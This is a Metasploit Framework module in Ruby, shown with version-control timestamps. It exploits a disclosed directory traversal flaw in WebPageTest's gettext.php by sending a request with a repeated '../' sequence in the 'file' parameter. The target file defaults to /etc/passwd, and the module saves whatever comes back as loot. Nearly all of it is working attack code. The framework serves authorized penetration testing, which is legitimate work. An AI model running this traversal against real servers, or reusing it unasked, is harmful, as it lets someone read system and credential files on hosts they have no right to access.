metasploit-framework/modules/auxiliary/scanner/http/webpagetest_traversal.rb

77 lines
2.1 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'WebPageTest Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in WebPageTest.
Due to the way the gettext.php script handles the 'file' parameter, it is possible
to read a file outside the www directory.
},
'References' =>
[
['EDB', '19790'],
['OSVDB', '83817']
],
'Author' =>
[
'dun', # Discovery, PoC
'sinn3r' # Metasploit module
2013-08-30 21:28:54 +00:00
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Jul 13 2012"
))
2013-08-30 21:28:54 +00:00
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/']),
OptString.new('FILE', [ true, "The path to the file to view", '/etc/passwd']),
OptInt.new('DEPTH', [true, 'The max traversal depth', 11])
], self.class)
2013-08-30 21:28:54 +00:00
deregister_options('RHOST')
end
2013-08-30 21:28:54 +00:00
def run_host(ip)
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "/#{datastore['FILE']}"
traverse = "../" * datastore['DEPTH']
uri = normalize_uri(target_uri.path)
base = File.dirname("#{uri}/.")
2013-08-30 21:28:54 +00:00
print_status("Requesting: #{file} - #{rhost}")
res = send_request_cgi({
'uri' => "#{base}/gettext.php",
'vars_get' => { 'file' => "#{traverse}#{file}" }
})
2013-08-30 21:28:54 +00:00
if not res
print_error("No response from server.")
return
end
2013-08-30 21:28:54 +00:00
if res.code != 200
print_error("Server returned a non-200 response (body will not be saved):")
print_line(res.to_s)
return
end
2013-08-30 21:28:54 +00:00
vprint_line(res.body)
p = store_loot('webpagetest.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
print_good("File saved as: #{p}")
end
2012-08-15 18:43:50 +00:00
end